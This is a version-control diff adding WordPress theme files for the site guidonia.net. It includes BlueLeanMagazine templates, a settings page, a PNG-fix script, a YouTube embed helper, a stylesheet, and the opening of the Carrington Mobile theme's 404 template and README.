@@ -0,0 +1,4 @@
+var clear="images/clear.gif" //path to clear.gif
+
+pngfix=function(){var els=document.getElementsByTagName('*');var ip=/\.png/i;var i=els.length;while(i-- >0){var el=els[i];var es=el.style;if(el.src&&el.src.match(ip)&&!es.filter){es.height=el.height;es.width=el.width;es.filter="progid:DXImageTransform.Microsoft.AlphaImageLoader(src='"+el.src+"',sizingMethod='crop')";el.src=clear;}else{var elb=el.currentStyle.backgroundImage;if(elb.match(ip)){var path=elb.split('"');var rep=(el.currentStyle.backgroundRepeat=='no-repeat')?'crop':'scale';es.filter="progid:DXImageTransform.Microsoft.AlphaImageLoader(src='"+path[1]+"',sizingMethod='"+rep+"')";es.height=el.clientHeight+'px';es.backgroundImage='none';var elkids=el.getElementsByTagName('*');if (elkids){var j=elkids.length;if(el.currentStyle.position!="absolute")es.position='static';while (j-- >0)if(!elkids[j].style.position)elkids[j].style.position="relative";}}}}}
+window.attachEvent('onload',pngfix);
Index: /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/js/video.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/js/video.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/js/video.js	(revision 44)
@@ -0,0 +1,3 @@
+function showVideo(id) {
+	document.write("<object width=\"243\" height=\"225\"><param name=\"movie\" value=\"http://www.youtube.com/v/"+id+">&amp;hl=en&amp;fs=1\"></param><param name=\"allowFullScreen\" value=\"true\"></param><param name=\"allowscriptaccess\" value=\"always\"></param><embed src=\"http://www.youtube.com/v/"+id+"&amp;hl=en&amp;fs=1\" type=\"application/x-shockwave-flash\" allowscriptaccess=\"always\" allowfullscreen=\"true\" width=\"243\" height=\"225\"></embed></object>");
+}
Index: /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/page.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/page.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/page.php	(revision 44)
@@ -0,0 +1,36 @@
+<?php get_header(); ?>
+	
+	<!-- BEGIN content -->
+	<div id="content"><div class="head"><div class="foot">
+	
+		<?php 
+		if (have_posts()) : the_post();
+		?>
+		
+		<!-- begin post -->
+		<div class="single">
+		<h2><?php the_title(); ?></h2>
+		<?php the_content(); ?>
+		</div>
+		<!-- end post -->
+		
+		<div id="comments"><?php comments_template(); ?></div>
+		
+		<?php else : ?>
+		
+		<div class="notfound">
+			<h2>Not Found</h2>
+			<p>Sorry, but you are looking for something that is not here.</p>
+		</div>
+		<?php endif; ?>
+		
+		<div class="break"></div>
+	
+		<?php include("bottom.php"); ?>
+		
+		<div class="break"></div>
+	
+	</div></div></div>
+	<!-- END content -->
+	
+<?php get_sidebar(); get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/search.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/search.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/search.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php get_header(); ?>
+	
+	<!-- BEGIN content -->
+	<div id="content"><div class="head"><div class="foot">
+	
+		<h2 class="atitle">Search Results for <strong><?php the_search_query(); ?></strong></h2>
+	
+		<?php
+		if (have_posts()) : $first = true;
+		while (have_posts()) : the_post();
+		$arc_year = get_the_time('Y');
+		$arc_month = get_the_time('m');
+		$arc_day = get_the_time('d');
+		?>
+		
+		<!-- begin post -->
+		<div class="<?php if ($first) echo 'first '; ?>post">
+		<div class="l">
+			<a href="<?php the_permalink(); ?>"><?php dp_attachment_image($post->ID, 'thumbnail', 'alt="' . $post->post_title . '"'); ?></a>
+		</div>
+		<div class="r">
+			<h2><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
+			<p><?php echo dp_clean($post->post_content, 300); ?></p>
+			<p class="details"><a href="<?php echo get_day_link("$arc_year", "$arc_month", "$arc_day"); ?>"><?php the_time('m.j.Y') ?></a> | <?php the_category(', ') ?> | <?php the_author_posts_link(); ?></p>
+			<p class="comments"><?php comments_popup_link('No Comments', '1 Comment', '% Comments'); ?></p>
+		</div>
+		</div>
+		<!-- end post -->
+		
+		<?php $first = false; endwhile; else : ?>
+		<div class="notfound">
+		<h2>Not Found</h2>
+		<p>Sorry, but you are looking for something that is not here.</p>
+		</div>
+		<?php endif; ?>
+	
+		<?php include("bottom.php"); ?>
+		
+		<!-- begin post navigation -->
+		<div class="postnav">
+		<?php if(function_exists('wp_page_numbers')) { wp_page_numbers(); } ?>
+		</div>
+		<!-- end post navigation -->
+		
+		<div class="break"></div>
+	
+	</div></div></div>
+	<!-- END content -->
+	
+<?php get_sidebar(); get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/settings.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/settings.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/settings.php	(revision 44)
@@ -0,0 +1,164 @@
+<?php
+
+$settings = array(
+	'featured' => 'Featured',
+	'youtube' => 'H5h95s0OuEg'
+);
+
+# Settings
+
+$themename = "LeanMagazine Theme";
+$shortname = "leanmagazine";
+$options = array (
+
+	array(	"name" => "Main Settings",
+			"type" => "header"
+	),
+	
+	array(  "name" => "Featured Category",
+            "id" => $shortname."_featured",
+            "std" => $settings['featured'],
+            "type" => "text",
+			"note" => "Category Name"),
+
+	array(  "name" => "Youtube Video ID",
+            "id" => $shortname."_youtube",
+            "std" => $settings['youtube'],
+            "type" => "text",
+			"note" => "<strong>Example: </strong> http://www.youtube.com/watch?v=<strong style='color: #ff0000;'>H5h95s0OuEg</strong>")
+			
+);
+
+function mytheme_add_admin() {
+
+    global $themename, $shortname, $options;
+
+    if ( $_GET['page'] == basename(__FILE__) ) {
+    
+        if ( 'save' == $_REQUEST['action'] ) {
+
+                foreach ($options as $value) {
+					if ($value['type']!='header') {
+						update_option( $value['id'], $_REQUEST[ $value['id'] ] );
+					}
+				}
+
+                foreach ($options as $value) {
+                    if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ]  ); } else { delete_option( $value['id'] ); } }
+
+                header("Location: themes.php?page=settings.php&saved=true");
+                die;
+
+        } else if( 'reset' == $_REQUEST['action'] ) {
+
+            foreach ($options as $value) {
+                delete_option( $value['id'] ); }
+
+            header("Location: themes.php?page=settings.php&reset=true");
+            die;
+
+        }
+    }
+
+    add_theme_page($themename." Settings", "Theme Settings", 'edit_themes', basename(__FILE__), 'mytheme_admin');
+
+}
+
+function mytheme_admin() {
+
+    global $themename, $shortname, $options;
+
+    if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings saved.</strong></p></div>';
+    if ( $_REQUEST['reset'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings reset.</strong></p></div>';
+    
+?>
+<style type="text/css">
+th {
+	text-align: left;
+}
+td {
+	padding: 5px 10px !important;
+}
+tr.header {
+	background-color: #99CC66 !important;
+	color: #ffffff;
+}
+.header td {
+	padding: 2px 10px !important;
+	font-size: 14px !important;
+	font-weight: bold !important;
+}
+</style>
+<div class="wrap">
+<h2><?php echo $themename; ?> Settings</h2>
+
+<form method="post">
+
+<table class="form-table">
+
+<?php foreach ($options as $value) { 
+    
+if ($value['type'] == "text") { ?>
+        
+<tr> 
+    <th scope="row" style="width: 25%"><?php echo $value['name']; ?>:</th>
+    <td>
+        <input onfocus="this.select();" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php if ( get_settings( $value['id'] ) != "") { echo get_settings( $value['id'] ); } else { echo $value['std']; } ?>" />
+		&nbsp; &nbsp; <?php echo $value['note']; ?>
+    </td>
+</tr>
+
+<?php } elseif ($value['type'] == "select") { ?>
+
+    <tr> 
+        <th scope="row"><?php echo $value['name']; ?>:</th>
+        <td>
+            <select name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
+                <?php foreach ($value['options'] as $option) { ?>
+                <option value="<?php echo $option; ?>" <?php if ( get_settings( $value['id'] ) == $option) { echo ' selected="selected"'; } elseif ($option == $value['std']) { echo ' selected="selected"'; } ?>><?php echo $option; ?></option>
+                <?php } ?>
+            </select>
+			&nbsp; &nbsp; <?php echo $value['note']; ?>
+        </td>
+    </tr>
+
+<?php 
+} elseif ($value['type'] == "header") {?>
+
+	<tr class="header"><td colspan="2"><?php  echo $value['name'] ?> &nbsp; &nbsp; <span style="font-size: 11px; font-weight: normal;"><?php echo $value['note']; ?></span></td></tr>
+	
+<?php 
+} 
+}
+?>
+
+</table>
+
+<p class="submit">
+<input name="save" type="submit" value="Save changes" />    
+<input type="hidden" name="action" value="save" />
+</p>
+</form>
+<form method="post">
+<p class="submit" style="border: 0;">
+<input name="reset" type="submit" value="Reset" />
+<input type="hidden" name="action" value="reset" />
+</p>
+</form>
+
+<?php
+}
+
+add_action('admin_menu', 'mytheme_add_admin');
+
+foreach ($options as $value) {
+if (get_settings( $value['id'] ) === FALSE) { $$value['id'] = $value['std']; } else { $$value['id'] = get_settings( $value['id'] ); } }
+
+
+# Set Values
+foreach ($settings as $k=>$v) {
+	$var = $shortname.'_'.$k;
+	if (!empty($$var)) $settings[$k] = $$var;
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/sidebar.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/sidebar.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/sidebar.php	(revision 44)
@@ -0,0 +1,66 @@
+<!-- BEGIN sidebar -->
+<div id="sidebar">
+
+	<?php if ( !function_exists('dynamic_sidebar')
+	|| !dynamic_sidebar(1) ) : ?>
+
+	<!-- begin advertisement -->
+	<div class="ads">
+	<a href="#"><img src="<?php bloginfo('template_url'); ?>/images/ad125x125.jpg" alt="Advertisement" /></a>
+	<a href="#"><img src="<?php bloginfo('template_url'); ?>/images/ad125x125.jpg" alt="Advertisement" /></a>
+	<a href="#"><img src="<?php bloginfo('template_url'); ?>/images/ad125x125.jpg" alt="Advertisement" /></a>
+	<a href="#"><img src="<?php bloginfo('template_url'); ?>/images/ad125x125.jpg" alt="Advertisement" /></a>
+	</div>
+	<!-- end advertisement -->
+	
+	<!-- begin search -->
+	<form action="<?php echo get_option('home'); ?>/" class="search">
+	<input type="text" name="s" id="s" value="<?php the_search_query(); ?>" />
+	<button type="submit">Go</button>
+	</form>
+	<!-- end search -->
+	
+	<!-- begin popular posts -->
+	<div class="box">
+	<h2>Popular Posts</h2>
+	<ul>
+	<?php dp_popular_posts(6); ?>
+	</ul>
+	</div>
+	<!-- end popular posts -->
+	
+	<!-- begin flickr photos -->
+	<div class="box">
+	<h2>Flickr Photos</h2>
+	<div class="flickr">
+	<?php if (function_exists('get_flickrRSS')) get_flickrRSS(); ?>
+	</div>
+	</div>
+	<!-- end flickr photos -->
+	
+	<!-- begin featured video -->
+	<div class="box">
+	<h2>Featured Video</h2>
+	<div class="video">
+	<script type="text/javascript">showVideo('<?php echo dp_settings("youtube") ?>');</script>
+	</div>
+	</div>
+	<!-- end featured video -->
+	
+	<!-- begin tag cloud -->
+	<div class="box">
+	<h2>Tag Cloud</h2>
+	<div class="tags">
+	<?php 
+	if (function_exists('wp_cumulus_insert')) : wp_cumulus_insert();
+	elseif (function_exists('wp_widget_tag_cloud')) : wp_widget_tag_cloud(array('before_title'=>'<!--','after_title'=>'-->'));
+	endif;
+	?>
+	</div>
+	</div>
+	<!-- end tag cloud -->
+	
+	<?php endif; ?>
+
+</div>
+<!-- END sidebar -->
Index: /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/single.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/single.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/single.php	(revision 44)
@@ -0,0 +1,36 @@
+<?php get_header(); ?>
+	
+	<!-- BEGIN content -->
+	<div id="content"><div class="head"><div class="foot">
+	
+		<?php 
+		if (have_posts()) : the_post();
+		?>
+		
+		<!-- begin post -->
+		<div class="single">
+		<h2><?php the_title(); ?></h2>
+		<?php the_content(); ?>
+		</div>
+		<!-- end post -->
+		
+		<div id="comments"><?php comments_template(); ?></div>
+		
+		<?php else : ?>
+		
+		<div class="notfound">
+			<h2>Not Found</h2>
+			<p>Sorry, but you are looking for something that is not here.</p>
+		</div>
+		<?php endif; ?>
+		
+		<div class="break"></div>
+	
+		<?php include("bottom.php"); ?>
+		
+		<div class="break"></div>
+	
+	</div></div></div>
+	<!-- END content -->
+	
+<?php get_sidebar(); get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/style.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/style.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/style.css	(revision 44)
@@ -0,0 +1,651 @@
+/*
+Theme Name: BlueLeanMagazine
+Author: WPThemeDesigner.com
+Author URI: http://www.wpthemedesigner.com/
+*/
+
+* {
+	margin: 0; padding: 0;
+}
+body {
+	text-align: center;
+	font: 12px Verdana;
+	color: #000000;
+	background: url(images/background.gif) repeat-x 0 0;
+}
+a {
+	color: #6B001A;
+}
+a:hover {
+	text-decoration: none;
+	color: #ff0000;
+}
+img {
+	border: 0;
+}
+
+.break {
+	font-size: 0;
+	width: 0; height: 0;
+	clear: both;
+}
+.alignleft {
+	float: left;
+	margin: 4px 10px 5px 0;
+}
+.alignright {
+	float: right;
+	margin: 4px 0 5px 10px;
+}
+.aligncenter {
+	text-align: center;
+}
+.hidden {
+	display: none;
+}
+
+/** BEGIN wrapper **/
+#wrapper {
+	width: 970px;
+	margin: auto auto;
+	text-align: left;
+}
+/** END wrapper **/
+
+/** BEGIN header **/
+#header {
+	height: 200px;
+	padding: 0 8px;
+}
+	#header ul {
+		list-style-type: none;
+		clear: both;
+	}
+		#header ul li {
+			float: left;
+		}
+	#header .pages {
+		float: left;
+	}
+		#header .pages li {
+			font-weight: bold;
+			font-size: 0.9em;
+			text-transform: uppercase;
+		}
+		#header .pages li a {
+			color: #ffffff;
+			text-decoration: none;
+			display: block;
+			padding: 8px 10px;
+		}
+		#header .pages li a:hover {
+			text-decoration: underline;
+		}
+	#header .links {
+		float: right;
+		color: #ffffff;
+		font-size: 0.9em;
+		background: url(images/rss.gif) no-repeat 0 6px;
+		padding: 8px 0 8px 18px;
+	}
+		#header .links a {
+			color: #ffffff;
+			text-decoration: none;
+			margin: 0 5px;
+		}
+		#header .links a:hover {
+			text-decoration: underline;
+		}
+	#header h1 {
+		float: left;
+		padding: 35px 0 40px;
+		clear: both;
+	}
+		#header h1 a {
+			display: block;
+			outline: none;
+			text-indent: -9999px;
+			background: url(images/logo.png) no-repeat 0 0;
+			width: 344px; height: 53px;
+		}
+	#header .ad {
+		float: right;
+		padding-top: 30px;
+	}
+	#header .categories {
+		overflow: hidden;
+		width: 100%;
+	}
+		#header .categories li {
+			font-family: Arial;
+			font-size: 0.9em;
+			text-transform: uppercase;
+			padding-left: 1px;
+			background: url(images/divider.gif) no-repeat 0 15px;
+			margin-left: -1px;
+		}
+		#header .categories li a {
+			color: #333333;
+			text-decoration: none;
+			display: block;
+			padding: 13px 10px 12px;
+		}
+		#header .categories li a:hover {
+			text-decoration: underline;
+		}
+/** END header **/
+
+/** BEGIN body **/
+#body {
+	padding: 10px 0;
+}
+/** END body **/
+
+/** BEGIN content **/
+#content {
+	clear: both;
+	width: 676px;
+	float: left;
+	background: url(images/contentbody.gif) repeat-y 0 0;
+	font-family: Arial;
+}
+	#content .head { background: url(images/contenthead.gif) no-repeat 0 0; }
+	#content .foot { 
+		background: url(images/contentfoot.gif) no-repeat 0 bottom;
+		padding: 25px 8px;
+	}
+	#content .atitle {
+		float: left;
+		font-size: 0.9em;
+		text-transform: uppercase;
+		color: #ffffff;
+		background-color: #212121;
+		padding: 5px 8px;
+		font-weight: normal;
+		margin: 10px 30px;
+	}
+	#content .featured {
+		padding: 5px 30px 10px;
+	}
+		#content .featured h2.title {
+			float: left;
+			font-size: 0.9em;
+			text-transform: uppercase;
+			color: #ffffff;
+			background-color: #212121;
+			padding: 5px 8px;
+			font-weight: normal;
+			margin-bottom: 10px;
+		}
+		#content .featured .thumb {
+			width: 590px; height: 315px;
+			padding: 5px;
+			border: 1px solid #E9E9E9;
+			background-color: #F2F2F1;
+			clear: both;
+		}
+			#content .featured .b {
+				width: 589px; height: 315px;
+				overflow: hidden;
+				position: relative;
+			}
+			#content .featured .photo {
+				list-style-type: none;
+			}
+				#content .photo li {
+					position: absolute;
+					top: 0; left: 0;
+					z-index: 0;
+				}
+				#content .photo li.first {
+					z-index: 2;
+				}
+				#content .photo li img {
+					width: 589px;
+				}
+			#content .featured .text {
+				list-style-type: none;
+			}
+				#content .featured .text li {
+					width: 230px; height: 285px;
+					position: absolute;
+					top: 0; right: -270px;
+					padding: 15px;
+					color: #ffffff;
+					font-family: Verdana;
+					background: url(images/shade.png) repeat 0 0;
+					z-index: 4;
+				}
+				#content .featured .text li.first {
+					right: 0;
+				}
+					#content .featured .text h2 {
+						font-size: 1.6em;
+						margin-bottom: 15px;
+					}
+					#content .featured .text p {
+						line-height: 1.6em;
+						margin-bottom: 15px;
+					}
+					#content .featured .text a {
+						color: #ffffff;
+						text-decoration: none;
+					}
+					#content .featured .text .readmore {
+						font-size: 0.9em;
+						font-weight: bold;
+						text-transform: uppercase;
+					}
+	#content .post {
+		clear: both;
+		border-top: 1px solid #E9E9E9;
+		margin: 0 30px;
+	}
+	#content .first {
+		border-top: 0;
+	}
+		#content .post .l {
+			float: left;
+			width: 140px;
+			padding: 15px 0;
+		}
+			#content .post img {
+				width: 134px; height: 134px;
+				border: 1px solid #e9e9e9;
+				background-color: #F2F2F1;
+				padding: 5px;
+			}
+		#content .post .r {
+			float: right;
+			width: 430px;
+			padding: 15px 0;
+		}
+			#content .post h2 {
+				font-weight: normal;
+				font-size: 1.8em;
+				margin-bottom: 15px;
+			}
+				#content .post h2 a {
+					text-decoration: none;
+					color: #191919;
+				}
+			#content .post p {
+				line-height: 1.6em;
+				margin-bottom: 15px;
+			}
+			#content .details {
+				float: left;
+				font-size: 0.85em;
+				text-transform: uppercase;
+				margin-bottom: 0 !important;
+			}
+				#content .details a {
+					text-decoration: none;
+					color: #191919;
+					margin: 0 5px;
+				}
+				#content .details a:hover {
+					text-decoration: underline;
+				}
+			#content .comments {
+				float: right;
+				margin-bottom: 0 !important;
+				padding-bottom: 6px;
+				background: url(images/comments.gif) no-repeat right bottom;
+			}
+				#content .comments a {
+					display: block;
+					color: #ffffff;
+					font-family: Verdana;
+					font-size: 0.9em;
+					text-decoration: none;
+					padding: 2px 6px;
+					background-color: #212121;
+				}
+				
+	#content .postnav {
+		clear: both;
+		float: right;
+		padding: 0 20px;
+	}
+		#content .postnav ul {
+			list-style-type: none;
+		}
+			#content .postnav ul li {
+				float: left;
+				padding: 0 4px;
+				font-family: Arial;
+			}
+			#content .postnav ul li a {
+				display: block;
+				padding: 4px 8px;
+				border: 1px solid #E1E1E1;
+				text-decoration: none;
+				color: #4F4F4F;
+			}
+			#content .postnav ul li a:hover {
+				border-color: #ffffff;
+			}
+	#wp_page_numbers ul {
+		border-top: 0 !important;
+	}
+	#wp_page_numbers .page_info {
+		padding: 4px 8px !important;
+		border: 1px solid #E1E1E1 !important;
+		margin-right: 2px;
+	}
+	#wp_page_numbers .active_page a {
+		border-color: #ffffff !important;
+		background-color: #ffffff !important;
+	}
+	#content .single {
+		padding: 10px 30px;
+	}
+		#content .single h2 {
+			margin-bottom: 10px;
+			font-size: 1.4em;
+			text-transform: none;
+		}
+		#content .single p {
+			line-height: 1.5em;
+			margin-bottom: 10px;
+		}
+		#content .single ul, #content .single ol {
+			list-style-position: inside;
+			margin-bottom: 10px;
+		}
+		#content .single li {
+			line-height: 1.5em;
+			padding: 2px 0;
+		}
+		#content .single blockquote {
+			padding: 10px 10px 5px;
+			margin-bottom: 10px;
+			background-color: #eeeeee;
+			border-width: 1px 0;
+			border-style: solid;
+			border-color: #e0e0e0;
+		}
+		#content .single h3, #content .single h4, #content .single h5, #content .single h6 {
+			font-size: 1.2em;
+			margin-bottom: 5px;
+		}
+/** END content **/
+
+/** BEGIN links **/
+#links {
+	clear: both;
+	padding: 20px 30px;
+	font-family: Verdana;
+}
+	#links .box {
+		width: 130px;
+		float: left;
+		padding: 20px 10px;
+		border-top: 1px solid #E9E9E9;
+	}
+	#links h2 {
+		float: left;
+		font-size: 0.9em;
+		text-transform: uppercase;
+		color: #ffffff;
+		background-color: #212121;
+		padding: 5px 8px;
+		font-weight: normal;
+		margin-bottom: 10px;
+	}
+	#links ul {
+		clear: both;
+		list-style-type: none;
+		padding: 0 5px;
+	}
+		#links ul li {
+			line-height: 1.5em;
+			font-size: 0.9em;
+			padding: 4px 0;
+		}
+		#links ul li a {
+			color: #191919;
+			text-decoration: none;
+		}
+		#links ul li a:hover {
+			color: #6B001A;
+			text-decoration: underline;
+		}
+/** END links **/
+
+/** BEGIN sidebar **/
+#sidebar {
+	width: 270px;
+	float: right;
+	padding: 8px 8px 0 0;
+}
+	#sidebar .box {
+		border: 2px solid #E1E1E1;
+		padding: 10px;
+		margin-bottom: 15px;
+	}
+	#sidebar h2 {
+		font-size: 0.9em;
+		text-transform: uppercase;
+		color: #ffffff;
+		background-color: #212121;
+		padding: 5px 8px;
+		font-weight: normal;
+		margin-bottom: 10px;
+		width: 130px;
+	}
+	#sidebar ul {
+		list-style-type: none;
+	}
+		#sidebar ul li {
+			line-height: 1.5em;
+			padding: 2px 0;
+			border-bottom: 1px solid #E9E9E9;
+		}
+		#sidebar ul li a {
+			color: #191919;
+			text-decoration: none;
+		}
+	#sidebar .ads {
+		text-align: center;
+		margin-bottom: 10px;
+	}
+		#sidebar .ads img {
+			margin: 4px;
+		}
+	#sidebar .search {
+		border: 2px solid #E1E1E1;
+		margin-bottom: 10px;
+		height: 29px;
+	}
+		#sidebar .search input {
+			border: 0;
+			float: left;
+			width: 220px;
+			margin: 6px 4px;
+		}
+		#sidebar .search button {
+			border: 0;
+			background-color: #212121;
+			color: #ffffff;
+			font-size: 0.8em;
+			font-weight: bold;
+			text-transform: uppercase;
+			width: 38px; height: 29px;
+			float: right;
+		}
+	#sidebar .flickr {
+		text-align: center;
+	}
+		#sidebar .flickr img {
+			width: 75px;
+			margin: 2px;
+		}
+	#sidebar .video {
+		padding-left: 2px;
+	}
+/** END sidebar **/
+
+/** BEGIN footer **/
+#footer {
+	clear: both;
+	background-color: #212121;
+	color: #ffffff;
+}
+	#footer p {
+		width: 940px;
+		margin: auto auto;
+		text-align: left;
+		font-size: 0.9em;
+		padding: 15px 0;
+	}
+	#footer a {
+		color: #ffffff;
+		text-decoration: none;
+	}
+	#footer a:hover {
+		text-decoration: underline;
+	}
+/** END footer **/
+
+/** BEGIN miscellaneous **/
+#comments {
+	padding: 10px 30px;
+}
+	#comments a {
+		text-decoration: none;
+	}
+	#comments h2 {
+		font-size: 1.4em;
+		margin: 10px 0;
+	}
+	#comments p {
+		margin-bottom: 10px;
+		line-height: 1.6em;
+	}
+	#comments form {
+		
+	}
+	#comments form p {
+		margin-bottom: 5px;
+	}
+		#comments form input {
+			margin-right: 5px;
+		}
+		#comments form input, textarea {
+			border: 1px solid #cccccc;
+			font-size: 0.9em;
+			font-family: Verdana;
+			padding: 4px;
+			background-position: 4px 4px;
+			background-repeat: no-repeat;
+		}
+		#comments form input {
+			width: 240px;
+			border: 1px solid #cccccc;
+		}
+		#comments form textarea {
+			width: 350px;
+			padding: 4px 4px !important;
+			border: 1px solid #cccccc;
+		}
+		#comments form button {
+			border: 1px solid #a0a0a0;
+			font-size: 1em;
+			font-family: Verdana;
+			padding: 2px 6px;
+		}
+	.commentdetails {
+		margin-top: 25px;
+	}
+	.commentauthor {
+		margin-bottom: 5px !important;
+		font-weight: bold;
+	}
+	.commentdate {
+		font-size: 0.8em;
+		margin-bottom: 5px;
+		color: #909090;
+	}
+	.required {
+		color: #ff0000;
+	}
+h2.title {
+	font-size: 1em !important;
+	text-transform: uppercase;
+	padding: 10px;
+	color: #565656;
+}
+.notfound {
+	padding: 40px;
+}
+	.notfound h2 {
+		font-size: 18px;
+		font-weight: normal;
+		margin-bottom: 10px;
+	}
+/** END miscellaneous **/
+
+/** BEGIN wordpress 2.7 comments **/
+#comments ol {
+	list-style-type: none;
+	clear: both;
+	padding: 0;
+	margin: 0;
+}
+	#comments .buffer {
+		padding: 10px;
+	}
+	#comments h2 {
+		font-size: 0.9em;
+		margin-bottom: 20px;
+	}
+	#comments ol li {
+		margin-bottom: 10px;
+	}
+	#comments ol li ul li {
+		border: 1px solid #e0e0e0;
+		padding: 10px;
+	}
+	#comments ol li .avatar {
+		float: right;
+	}
+	#comments ol li .comment-author {
+		
+	}
+		#comments ol li .comment-author .fn {
+			font-weight: bold;
+			font-size: 1.2em;
+		}
+	#comments ol li .comment-meta {
+		font-size: 0.9em;
+		color: #999999;
+		margin: 5px 0 10px;
+	}
+	#comments ol li .reply {
+		font-size: 0.9em;
+		font-weight: bold;
+		padding-bottom: 10px;
+	}
+	#comments .children {
+		list-style-type: none;
+	}
+#comments .navigation {
+	padding: 0 10px 20px;
+	font-size: 0.9em;
+}
+	#comments .navigation a {
+		color: #999999;
+		padding: 3px 8px;
+		border: 1px solid #cccccc;
+	}
+	#comments .navigation a:hover {
+		color: #000000;
+		border-color: #000000;
+		text-decoration: none;
+	}
+#comments .says {
+	display: none;
+}
+/** END wordpress 2.7 comments **/
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/404.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/404.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/404.php	(revision 44)
@@ -0,0 +1,22 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+cfct_error('404');
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/README.txt	(revision 44)
@@ -0,0 +1,125 @@
+# Carrington CMS Theme Framework for WordPress
+http://carringtontheme.com
+
+by Crowd Favorite  
+http://crowdfavorite.com
+
+Released under the GPL license  
+http://www.opensource.org/licenses/gpl-license.php
+
+---
+
+## What is Carrington?
+
+1. A collection of elegant, high-end WordPress themes for end-users.
+2. A designer and developer friendly CMS theme framework for WordPress.
+3. A set of best practices for theme organization.
+
+
+## Basic Framework Concept
+
+Carrington is a CMS theme framework that virtually eliminates the need for custom conditional code in themes. Instead, template naming conventions along with the Carrington engine replace the need for this conditional code.
+
+Theme functionality is broken up into thoughtfully crafted abstractions to enable customizations at different levels (the loop, the post/page content, comments, etc.) and the Carrington engine chooses which template to be used for each segment of the theme.
+
+The abstractions and supported template types are designed to easily handle most of the customization scenarios we commonly see without the need to write custom code to use them.
+
+
+## Context and Templates
+
+WordPress provides a number of functions to help you determine what type of view a theme is showing. These include:
+
+- `is_home()`
+- `is_single()`
+- `is_page()`
+- `is_archive()`
+- `in_category()`
+- etc.
+
+Carrington abstracts these to deduce a "context" that is used when selecting a template. There are three context types used by the Carrington framework:
+
+1. Comment (dirs: comment)
+2. Post (dirs: content, excerpt)
+3. General (dirs: attachment, comments, footer, header, loop, posts, sidebar, single)
+
+Each directory implements one of these contexts for selecting the appropriate template to use. Templates are used in page views based on how they match the given context(s) for the overall page and the specific pieces of content being displayed.
+
+Read about the options available in each directory in the README file for that directory.
+
+Note: "default.php" is a supported default file name for all directories, however we have found in real world usage that {dirname}-default.php is a preferable naming system. When you have a half-dozen "default.php" files open in your favorite text editor, telling them apart in the file list can be more difficult than it should be.
+
+
+## Theme Organization
+
+WordPress themes generally have a file structure similar to this:
+
+- 404.php
+- archive.php
+- archives.php
+- [...]
+- sidebar.php
+- single.php
+- style.css
+
+While this organization works well in many instances, it doesn't well support the concept of atomic elements that are combined to create a theme. For example, a representation of just a post's content, or just a comment, is not represented here.
+
+Carrington respects the supported WordPress file naming conventions (for example `get_header()` will still work), but eschews them in favor of an organizational structure that better suits the abstraction and customization commonly needed for a WordPress theme.
+
+Template files are layered into each other using the following basic approach:
+
+1. top level templates that include
+2. common elements like a header, footer and sidebar along with a
+3. loop that includes 
+4. atomic post/page content or excerpt templates and, where appropriate, a
+5. comments area template that includes 
+6. atomic template for comments and a 
+7. template for the comment form
+
+
+## Actions and Filters
+
+The Carrington core is a theme framework, not a parent/child theme system. It includes a core set of functions that enable the override template hierarchy. These functions include actions and filters where appropriate so that their functionality can be customized and overridden as needed. These actions and filters use the same hook and filter system used in the WordPress core.
+
+
+### Filters
+
